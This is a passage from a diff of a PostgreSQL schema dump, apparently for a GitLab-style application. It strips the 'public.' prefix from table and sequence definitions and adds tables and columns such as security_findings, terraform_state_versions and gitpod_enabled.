-ALTER SEQUENCE public.requirements_management_test_reports_id_seq OWNED BY public.requirements_management_test_reports.id;
+ALTER SEQUENCE requirements_management_test_reports_id_seq OWNED BY requirements_management_test_reports.id;
-CREATE TABLE public.resource_iteration_events (
+CREATE TABLE resource_iteration_events (
id bigint NOT NULL,
user_id bigint NOT NULL,
issue_id bigint,
@@ -15103,16 +15363,16 @@ CREATE TABLE public.resource_iteration_events (
action smallint NOT NULL
);
-CREATE SEQUENCE public.resource_iteration_events_id_seq
+CREATE SEQUENCE resource_iteration_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.resource_iteration_events_id_seq OWNED BY public.resource_iteration_events.id;
+ALTER SEQUENCE resource_iteration_events_id_seq OWNED BY resource_iteration_events.id;
-CREATE TABLE public.resource_label_events (
+CREATE TABLE resource_label_events (
id bigint NOT NULL,
action integer NOT NULL,
issue_id integer,
@@ -15126,16 +15386,16 @@ CREATE TABLE public.resource_label_events (
reference_html text
);
-CREATE SEQUENCE public.resource_label_events_id_seq
+CREATE SEQUENCE resource_label_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.resource_label_events_id_seq OWNED BY public.resource_label_events.id;
+ALTER SEQUENCE resource_label_events_id_seq OWNED BY resource_label_events.id;
-CREATE TABLE public.resource_milestone_events (
+CREATE TABLE resource_milestone_events (
id bigint NOT NULL,
user_id bigint,
issue_id bigint,
@@ -15146,16 +15406,16 @@ CREATE TABLE public.resource_milestone_events (
created_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.resource_milestone_events_id_seq
+CREATE SEQUENCE resource_milestone_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.resource_milestone_events_id_seq OWNED BY public.resource_milestone_events.id;
+ALTER SEQUENCE resource_milestone_events_id_seq OWNED BY resource_milestone_events.id;
-CREATE TABLE public.resource_state_events (
+CREATE TABLE resource_state_events (
id bigint NOT NULL,
user_id bigint,
issue_id bigint,
@@ -15171,16 +15431,16 @@ CREATE TABLE public.resource_state_events (
CONSTRAINT state_events_must_belong_to_issue_or_merge_request_or_epic CHECK ((((issue_id <> NULL::bigint) AND (merge_request_id IS NULL) AND (epic_id IS NULL)) OR ((issue_id IS NULL) AND (merge_request_id <> NULL::bigint) AND (epic_id IS NULL)) OR ((issue_id IS NULL) AND (merge_request_id IS NULL) AND (epic_id <> NULL::integer))))
);
-CREATE SEQUENCE public.resource_state_events_id_seq
+CREATE SEQUENCE resource_state_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.resource_state_events_id_seq OWNED BY public.resource_state_events.id;
+ALTER SEQUENCE resource_state_events_id_seq OWNED BY resource_state_events.id;
-CREATE TABLE public.resource_weight_events (
+CREATE TABLE resource_weight_events (
id bigint NOT NULL,
user_id bigint,
issue_id bigint NOT NULL,
@@ -15188,16 +15448,16 @@ CREATE TABLE public.resource_weight_events (
created_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.resource_weight_events_id_seq
+CREATE SEQUENCE resource_weight_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.resource_weight_events_id_seq OWNED BY public.resource_weight_events.id;
+ALTER SEQUENCE resource_weight_events_id_seq OWNED BY resource_weight_events.id;
-CREATE TABLE public.reviews (
+CREATE TABLE reviews (
id bigint NOT NULL,
author_id integer,
merge_request_id integer NOT NULL,
@@ -15205,16 +15465,16 @@ CREATE TABLE public.reviews (
created_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.reviews_id_seq
+CREATE SEQUENCE reviews_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.reviews_id_seq OWNED BY public.reviews.id;
+ALTER SEQUENCE reviews_id_seq OWNED BY reviews.id;
-CREATE TABLE public.routes (
+CREATE TABLE routes (
id integer NOT NULL,
source_id integer NOT NULL,
source_type character varying NOT NULL,
@@ -15224,16 +15484,16 @@ CREATE TABLE public.routes (
name character varying
);
-CREATE SEQUENCE public.routes_id_seq
+CREATE SEQUENCE routes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.routes_id_seq OWNED BY public.routes.id;
+ALTER SEQUENCE routes_id_seq OWNED BY routes.id;
-CREATE TABLE public.saml_providers (
+CREATE TABLE saml_providers (
id integer NOT NULL,
group_id integer NOT NULL,
enabled boolean NOT NULL,
@@ -15245,20 +15505,20 @@ CREATE TABLE public.saml_providers (
default_membership_role smallint DEFAULT 10 NOT NULL
);
-CREATE SEQUENCE public.saml_providers_id_seq
+CREATE SEQUENCE saml_providers_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.saml_providers_id_seq OWNED BY public.saml_providers.id;
+ALTER SEQUENCE saml_providers_id_seq OWNED BY saml_providers.id;
-CREATE TABLE public.schema_migrations (
+CREATE TABLE schema_migrations (
version character varying NOT NULL
);
-CREATE TABLE public.scim_identities (
+CREATE TABLE scim_identities (
id bigint NOT NULL,
group_id bigint NOT NULL,
user_id bigint NOT NULL,
@@ -15268,16 +15528,16 @@ CREATE TABLE public.scim_identities (
extern_uid character varying(255) NOT NULL
);
-CREATE SEQUENCE public.scim_identities_id_seq
+CREATE SEQUENCE scim_identities_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.scim_identities_id_seq OWNED BY public.scim_identities.id;
+ALTER SEQUENCE scim_identities_id_seq OWNED BY scim_identities.id;
-CREATE TABLE public.scim_oauth_access_tokens (
+CREATE TABLE scim_oauth_access_tokens (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -15285,16 +15545,36 @@ CREATE TABLE public.scim_oauth_access_tokens (
token_encrypted character varying NOT NULL
);
-CREATE SEQUENCE public.scim_oauth_access_tokens_id_seq
+CREATE SEQUENCE scim_oauth_access_tokens_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE scim_oauth_access_tokens_id_seq OWNED BY scim_oauth_access_tokens.id;
+
+CREATE TABLE security_findings (
+ id bigint NOT NULL,
+ scan_id bigint NOT NULL,
+ scanner_id bigint NOT NULL,
+ severity smallint NOT NULL,
+ confidence smallint NOT NULL,
+ project_fingerprint text NOT NULL,
+ deduplicated boolean DEFAULT false NOT NULL,
+ CONSTRAINT check_b9508c6df8 CHECK ((char_length(project_fingerprint) <= 40))
+);
+
+CREATE SEQUENCE security_findings_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.scim_oauth_access_tokens_id_seq OWNED BY public.scim_oauth_access_tokens.id;
+ALTER SEQUENCE security_findings_id_seq OWNED BY security_findings.id;
-CREATE TABLE public.security_scans (
+CREATE TABLE security_scans (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -15303,16 +15583,16 @@ CREATE TABLE public.security_scans (
scanned_resources_count integer
);
-CREATE SEQUENCE public.security_scans_id_seq
+CREATE SEQUENCE security_scans_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.security_scans_id_seq OWNED BY public.security_scans.id;
+ALTER SEQUENCE security_scans_id_seq OWNED BY security_scans.id;
-CREATE TABLE public.self_managed_prometheus_alert_events (
+CREATE TABLE self_managed_prometheus_alert_events (
id bigint NOT NULL,
project_id bigint NOT NULL,
environment_id bigint,
@@ -15324,16 +15604,16 @@ CREATE TABLE public.self_managed_prometheus_alert_events (
payload_key character varying(255) NOT NULL
);
-CREATE SEQUENCE public.self_managed_prometheus_alert_events_id_seq
+CREATE SEQUENCE self_managed_prometheus_alert_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.self_managed_prometheus_alert_events_id_seq OWNED BY public.self_managed_prometheus_alert_events.id;
+ALTER SEQUENCE self_managed_prometheus_alert_events_id_seq OWNED BY self_managed_prometheus_alert_events.id;
-CREATE TABLE public.sent_notifications (
+CREATE TABLE sent_notifications (
id integer NOT NULL,
project_id integer,
noteable_id integer,
@@ -15347,31 +15627,31 @@ CREATE TABLE public.sent_notifications (
in_reply_to_discussion_id character varying
);
-CREATE SEQUENCE public.sent_notifications_id_seq
+CREATE SEQUENCE sent_notifications_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.sent_notifications_id_seq OWNED BY public.sent_notifications.id;
+ALTER SEQUENCE sent_notifications_id_seq OWNED BY sent_notifications.id;
-CREATE TABLE public.sentry_issues (
+CREATE TABLE sentry_issues (
id bigint NOT NULL,
issue_id bigint NOT NULL,
sentry_issue_identifier bigint NOT NULL
);
-CREATE SEQUENCE public.sentry_issues_id_seq
+CREATE SEQUENCE sentry_issues_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.sentry_issues_id_seq OWNED BY public.sentry_issues.id;
+ALTER SEQUENCE sentry_issues_id_seq OWNED BY sentry_issues.id;
-CREATE TABLE public.serverless_domain_cluster (
+CREATE TABLE serverless_domain_cluster (
uuid character varying(14) NOT NULL,
pages_domain_id bigint NOT NULL,
clusters_applications_knative_id bigint NOT NULL,
@@ -15383,14 +15663,14 @@ CREATE TABLE public.serverless_domain_cluster (
certificate text
);
-CREATE TABLE public.service_desk_settings (
+CREATE TABLE service_desk_settings (
project_id bigint NOT NULL,
issue_template_key character varying(255),
outgoing_name character varying(255),
project_key character varying(255)
);
-CREATE TABLE public.services (
+CREATE TABLE services (
id integer NOT NULL,
type character varying,
project_id integer,
@@ -15404,7 +15684,6 @@ CREATE TABLE public.services (
tag_push_events boolean DEFAULT true,
note_events boolean DEFAULT true NOT NULL,
category character varying DEFAULT 'common'::character varying NOT NULL,
- "default" boolean DEFAULT false,
wiki_page_events boolean DEFAULT true,
pipeline_events boolean DEFAULT false NOT NULL,
confidential_issues_events boolean DEFAULT true NOT NULL,
@@ -15421,30 +15700,30 @@ CREATE TABLE public.services (
group_id bigint
);
-CREATE SEQUENCE public.services_id_seq
+CREATE SEQUENCE services_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.services_id_seq OWNED BY public.services.id;
+ALTER SEQUENCE services_id_seq OWNED BY services.id;
-CREATE TABLE public.shards (
+CREATE TABLE shards (
id integer NOT NULL,
name character varying NOT NULL
);
-CREATE SEQUENCE public.shards_id_seq
+CREATE SEQUENCE shards_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.shards_id_seq OWNED BY public.shards.id;
+ALTER SEQUENCE shards_id_seq OWNED BY shards.id;
-CREATE TABLE public.slack_integrations (
+CREATE TABLE slack_integrations (
id integer NOT NULL,
service_id integer NOT NULL,
team_id character varying NOT NULL,
@@ -15455,45 +15734,51 @@ CREATE TABLE public.slack_integrations (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.slack_integrations_id_seq
+CREATE SEQUENCE slack_integrations_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.slack_integrations_id_seq OWNED BY public.slack_integrations.id;
+ALTER SEQUENCE slack_integrations_id_seq OWNED BY slack_integrations.id;
-CREATE TABLE public.smartcard_identities (
+CREATE TABLE smartcard_identities (
id bigint NOT NULL,
user_id integer NOT NULL,
subject character varying NOT NULL,
issuer character varying NOT NULL
);
-CREATE SEQUENCE public.smartcard_identities_id_seq
+CREATE SEQUENCE smartcard_identities_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.smartcard_identities_id_seq OWNED BY public.smartcard_identities.id;
+ALTER SEQUENCE smartcard_identities_id_seq OWNED BY smartcard_identities.id;
-CREATE TABLE public.snippet_repositories (
+CREATE TABLE snippet_repositories (
snippet_id bigint NOT NULL,
shard_id bigint NOT NULL,
- disk_path character varying(80) NOT NULL
+ disk_path character varying(80) NOT NULL,
+ verification_retry_count smallint,
+ verification_retry_at timestamp with time zone,
+ verified_at timestamp with time zone,
+ verification_checksum bytea,
+ verification_failure text,
+ CONSTRAINT snippet_repositories_verification_failure_text_limit CHECK ((char_length(verification_failure) <= 255))
);
-CREATE TABLE public.snippet_statistics (
+CREATE TABLE snippet_statistics (
snippet_id bigint NOT NULL,
repository_size bigint DEFAULT 0 NOT NULL,
file_count bigint DEFAULT 0 NOT NULL,
commit_count bigint DEFAULT 0 NOT NULL
);
-CREATE TABLE public.snippet_user_mentions (
+CREATE TABLE snippet_user_mentions (
id bigint NOT NULL,
snippet_id integer NOT NULL,
note_id integer,
@@ -15502,16 +15787,16 @@ CREATE TABLE public.snippet_user_mentions (
mentioned_groups_ids integer[]
);
-CREATE SEQUENCE public.snippet_user_mentions_id_seq
+CREATE SEQUENCE snippet_user_mentions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.snippet_user_mentions_id_seq OWNED BY public.snippet_user_mentions.id;
+ALTER SEQUENCE snippet_user_mentions_id_seq OWNED BY snippet_user_mentions.id;
-CREATE TABLE public.snippets (
+CREATE TABLE snippets (
id integer NOT NULL,
title character varying,
content text,
@@ -15532,16 +15817,16 @@ CREATE TABLE public.snippets (
secret boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.snippets_id_seq
+CREATE SEQUENCE snippets_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.snippets_id_seq OWNED BY public.snippets.id;
+ALTER SEQUENCE snippets_id_seq OWNED BY snippets.id;
-CREATE TABLE public.software_license_policies (
+CREATE TABLE software_license_policies (
id integer NOT NULL,
project_id integer NOT NULL,
software_license_id integer NOT NULL,
@@ -15550,31 +15835,31 @@ CREATE TABLE public.software_license_policies (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.software_license_policies_id_seq
+CREATE SEQUENCE software_license_policies_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.software_license_policies_id_seq OWNED BY public.software_license_policies.id;
+ALTER SEQUENCE software_license_policies_id_seq OWNED BY software_license_policies.id;
-CREATE TABLE public.software_licenses (
+CREATE TABLE software_licenses (
id integer NOT NULL,
name character varying NOT NULL,
spdx_identifier character varying(255)
);
-CREATE SEQUENCE public.software_licenses_id_seq
+CREATE SEQUENCE software_licenses_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.software_licenses_id_seq OWNED BY public.software_licenses.id;
+ALTER SEQUENCE software_licenses_id_seq OWNED BY software_licenses.id;
-CREATE TABLE public.spam_logs (
+CREATE TABLE spam_logs (
id integer NOT NULL,
user_id integer,
source_ip character varying,
@@ -15589,16 +15874,16 @@ CREATE TABLE public.spam_logs (
recaptcha_verified boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.spam_logs_id_seq
+CREATE SEQUENCE spam_logs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.spam_logs_id_seq OWNED BY public.spam_logs.id;
+ALTER SEQUENCE spam_logs_id_seq OWNED BY spam_logs.id;
-CREATE TABLE public.sprints (
+CREATE TABLE sprints (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -15617,32 +15902,32 @@ CREATE TABLE public.sprints (
CONSTRAINT sprints_title CHECK ((char_length(title) <= 255))
);
-CREATE SEQUENCE public.sprints_id_seq
+CREATE SEQUENCE sprints_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.sprints_id_seq OWNED BY public.sprints.id;
+ALTER SEQUENCE sprints_id_seq OWNED BY sprints.id;
-CREATE TABLE public.status_page_published_incidents (
+CREATE TABLE status_page_published_incidents (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
issue_id bigint NOT NULL
);
-CREATE SEQUENCE public.status_page_published_incidents_id_seq
+CREATE SEQUENCE status_page_published_incidents_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.status_page_published_incidents_id_seq OWNED BY public.status_page_published_incidents.id;
+ALTER SEQUENCE status_page_published_incidents_id_seq OWNED BY status_page_published_incidents.id;
-CREATE TABLE public.status_page_settings (
+CREATE TABLE status_page_settings (
project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -15656,16 +15941,16 @@ CREATE TABLE public.status_page_settings (
CONSTRAINT check_75a79cd992 CHECK ((char_length(status_page_url) <= 1024))
);
-CREATE SEQUENCE public.status_page_settings_project_id_seq
+CREATE SEQUENCE status_page_settings_project_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.status_page_settings_project_id_seq OWNED BY public.status_page_settings.project_id;
+ALTER SEQUENCE status_page_settings_project_id_seq OWNED BY status_page_settings.project_id;
-CREATE TABLE public.subscriptions (
+CREATE TABLE subscriptions (
id integer NOT NULL,
user_id integer,
subscribable_id integer,
@@ -15676,16 +15961,16 @@ CREATE TABLE public.subscriptions (
project_id integer
);
-CREATE SEQUENCE public.subscriptions_id_seq
+CREATE SEQUENCE subscriptions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.subscriptions_id_seq OWNED BY public.subscriptions.id;
+ALTER SEQUENCE subscriptions_id_seq OWNED BY subscriptions.id;
-CREATE TABLE public.suggestions (
+CREATE TABLE suggestions (
id bigint NOT NULL,
note_id integer NOT NULL,
relative_order smallint NOT NULL,
@@ -15698,16 +15983,16 @@ CREATE TABLE public.suggestions (
outdated boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.suggestions_id_seq
+CREATE SEQUENCE suggestions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.suggestions_id_seq OWNED BY public.suggestions.id;
+ALTER SEQUENCE suggestions_id_seq OWNED BY suggestions.id;
-CREATE TABLE public.system_note_metadata (
+CREATE TABLE system_note_metadata (
id integer NOT NULL,
note_id integer NOT NULL,
commit_count integer,
@@ -15717,16 +16002,16 @@ CREATE TABLE public.system_note_metadata (
description_version_id bigint
);
-CREATE SEQUENCE public.system_note_metadata_id_seq
+CREATE SEQUENCE system_note_metadata_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.system_note_metadata_id_seq OWNED BY public.system_note_metadata.id;
+ALTER SEQUENCE system_note_metadata_id_seq OWNED BY system_note_metadata.id;
-CREATE TABLE public.taggings (
+CREATE TABLE taggings (
id integer NOT NULL,
tag_id integer,
taggable_id integer,
@@ -15737,31 +16022,31 @@ CREATE TABLE public.taggings (
created_at timestamp without time zone
);
-CREATE SEQUENCE public.taggings_id_seq
+CREATE SEQUENCE taggings_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.taggings_id_seq OWNED BY public.taggings.id;
+ALTER SEQUENCE taggings_id_seq OWNED BY taggings.id;
-CREATE TABLE public.tags (
+CREATE TABLE tags (
id integer NOT NULL,
name character varying,
taggings_count integer DEFAULT 0
);
-CREATE SEQUENCE public.tags_id_seq
+CREATE SEQUENCE tags_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.tags_id_seq OWNED BY public.tags.id;
+ALTER SEQUENCE tags_id_seq OWNED BY tags.id;
-CREATE TABLE public.term_agreements (
+CREATE TABLE term_agreements (
id integer NOT NULL,
term_id integer NOT NULL,
user_id integer NOT NULL,
@@ -15770,16 +16055,43 @@ CREATE TABLE public.term_agreements (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.term_agreements_id_seq
+CREATE SEQUENCE term_agreements_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.term_agreements_id_seq OWNED BY public.term_agreements.id;
+ALTER SEQUENCE term_agreements_id_seq OWNED BY term_agreements.id;
-CREATE TABLE public.terraform_states (
+CREATE TABLE terraform_state_versions (
+ id bigint NOT NULL,
+ terraform_state_id bigint NOT NULL,
+ created_by_user_id bigint,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ version integer NOT NULL,
+ file_store smallint NOT NULL,
+ file text NOT NULL,
+ verification_retry_count smallint,
+ verification_retry_at timestamp with time zone,
+ verified_at timestamp with time zone,
+ verification_checksum bytea,
+ verification_failure text,
+ CONSTRAINT check_0824bb7bbd CHECK ((char_length(file) <= 255)),
+ CONSTRAINT tf_state_versions_verification_failure_text_limit CHECK ((char_length(verification_failure) <= 255))
+);
+
+CREATE SEQUENCE terraform_state_versions_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE terraform_state_versions_id_seq OWNED BY terraform_state_versions.id;
+
+CREATE TABLE terraform_states (
id bigint NOT NULL,
project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -15796,19 +16108,20 @@ CREATE TABLE public.terraform_states (
verification_retry_count smallint,
verification_checksum bytea,
verification_failure text,
+ versioning_enabled boolean DEFAULT false NOT NULL,
CONSTRAINT check_21a47163ea CHECK ((char_length(verification_failure) <= 255))
);
-CREATE SEQUENCE public.terraform_states_id_seq
+CREATE SEQUENCE terraform_states_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.terraform_states_id_seq OWNED BY public.terraform_states.id;
+ALTER SEQUENCE terraform_states_id_seq OWNED BY terraform_states.id;
-CREATE TABLE public.timelogs (
+CREATE TABLE timelogs (
id integer NOT NULL,
time_spent integer NOT NULL,
user_id integer,
@@ -15820,16 +16133,16 @@ CREATE TABLE public.timelogs (
note_id integer
);
-CREATE SEQUENCE public.timelogs_id_seq
+CREATE SEQUENCE timelogs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.timelogs_id_seq OWNED BY public.timelogs.id;
+ALTER SEQUENCE timelogs_id_seq OWNED BY timelogs.id;
-CREATE TABLE public.todos (
+CREATE TABLE todos (
id integer NOT NULL,
user_id integer NOT NULL,
project_id integer,
@@ -15846,30 +16159,30 @@ CREATE TABLE public.todos (
resolved_by_action smallint
);
-CREATE SEQUENCE public.todos_id_seq
+CREATE SEQUENCE todos_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.todos_id_seq OWNED BY public.todos.id;
+ALTER SEQUENCE todos_id_seq OWNED BY todos.id;
-CREATE TABLE public.trending_projects (
+CREATE TABLE trending_projects (
id integer NOT NULL,
project_id integer NOT NULL
);
-CREATE SEQUENCE public.trending_projects_id_seq
+CREATE SEQUENCE trending_projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.trending_projects_id_seq OWNED BY public.trending_projects.id;
+ALTER SEQUENCE trending_projects_id_seq OWNED BY trending_projects.id;
-CREATE TABLE public.u2f_registrations (
+CREATE TABLE u2f_registrations (
id integer NOT NULL,
certificate text,
key_handle character varying,
@@ -15881,16 +16194,16 @@ CREATE TABLE public.u2f_registrations (
name character varying
);
-CREATE SEQUENCE public.u2f_registrations_id_seq
+CREATE SEQUENCE u2f_registrations_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.u2f_registrations_id_seq OWNED BY public.u2f_registrations.id;
+ALTER SEQUENCE u2f_registrations_id_seq OWNED BY u2f_registrations.id;
-CREATE TABLE public.uploads (
+CREATE TABLE uploads (
id integer NOT NULL,
size bigint NOT NULL,
path character varying(511) NOT NULL,
@@ -15905,16 +16218,16 @@ CREATE TABLE public.uploads (
CONSTRAINT check_5e9547379c CHECK ((store IS NOT NULL))
);
-CREATE SEQUENCE public.uploads_id_seq
+CREATE SEQUENCE uploads_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.uploads_id_seq OWNED BY public.uploads.id;
+ALTER SEQUENCE uploads_id_seq OWNED BY uploads.id;
-CREATE TABLE public.user_agent_details (
+CREATE TABLE user_agent_details (
id integer NOT NULL,
user_agent character varying NOT NULL,
ip_address character varying NOT NULL,
@@ -15925,32 +16238,32 @@ CREATE TABLE public.user_agent_details (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.user_agent_details_id_seq
+CREATE SEQUENCE user_agent_details_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.user_agent_details_id_seq OWNED BY public.user_agent_details.id;
+ALTER SEQUENCE user_agent_details_id_seq OWNED BY user_agent_details.id;
-CREATE TABLE public.user_callouts (
+CREATE TABLE user_callouts (
id integer NOT NULL,
feature_name integer NOT NULL,
user_id integer NOT NULL,
dismissed_at timestamp with time zone
);
-CREATE SEQUENCE public.user_callouts_id_seq
+CREATE SEQUENCE user_callouts_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.user_callouts_id_seq OWNED BY public.user_callouts.id;
+ALTER SEQUENCE user_callouts_id_seq OWNED BY user_callouts.id;
-CREATE TABLE public.user_canonical_emails (
+CREATE TABLE user_canonical_emails (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -15958,16 +16271,16 @@ CREATE TABLE public.user_canonical_emails (
canonical_email character varying NOT NULL
);
-CREATE SEQUENCE public.user_canonical_emails_id_seq
+CREATE SEQUENCE user_canonical_emails_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.user_canonical_emails_id_seq OWNED BY public.user_canonical_emails.id;
+ALTER SEQUENCE user_canonical_emails_id_seq OWNED BY user_canonical_emails.id;
-CREATE TABLE public.user_custom_attributes (
+CREATE TABLE user_custom_attributes (
id integer NOT NULL,
created_at timestamp without time zone NOT NULL,
updated_at timestamp without time zone NOT NULL,
@@ -15976,16 +16289,16 @@ CREATE TABLE public.user_custom_attributes (
value character varying NOT NULL
);
-CREATE SEQUENCE public.user_custom_attributes_id_seq
+CREATE SEQUENCE user_custom_attributes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.user_custom_attributes_id_seq OWNED BY public.user_custom_attributes.id;
+ALTER SEQUENCE user_custom_attributes_id_seq OWNED BY user_custom_attributes.id;
-CREATE TABLE public.user_details (
+CREATE TABLE user_details (
user_id bigint NOT NULL,
job_title character varying(200) DEFAULT ''::character varying NOT NULL,
bio character varying(255) DEFAULT ''::character varying NOT NULL,
@@ -15995,27 +16308,27 @@ CREATE TABLE public.user_details (
CONSTRAINT check_245664af82 CHECK ((char_length(webauthn_xid) <= 100))
);
-CREATE SEQUENCE public.user_details_user_id_seq
+CREATE SEQUENCE user_details_user_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.user_details_user_id_seq OWNED BY public.user_details.user_id;
+ALTER SEQUENCE user_details_user_id_seq OWNED BY user_details.user_id;
-CREATE TABLE public.user_highest_roles (
+CREATE TABLE user_highest_roles (
user_id bigint NOT NULL,
updated_at timestamp with time zone NOT NULL,
highest_access_level integer
);
-CREATE TABLE public.user_interacted_projects (
+CREATE TABLE user_interacted_projects (
user_id integer NOT NULL,
project_id integer NOT NULL
);
-CREATE TABLE public.user_preferences (
+CREATE TABLE user_preferences (
id integer NOT NULL,
user_id integer NOT NULL,
issue_notes_filter smallint DEFAULT 0 NOT NULL,
@@ -16040,19 +16353,20 @@ CREATE TABLE public.user_preferences (
tab_width smallint,
feature_filter_type bigint,
experience_level smallint,
- view_diffs_file_by_file boolean DEFAULT false NOT NULL
+ view_diffs_file_by_file boolean DEFAULT false NOT NULL,
+ gitpod_enabled boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.user_preferences_id_seq
+CREATE SEQUENCE user_preferences_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
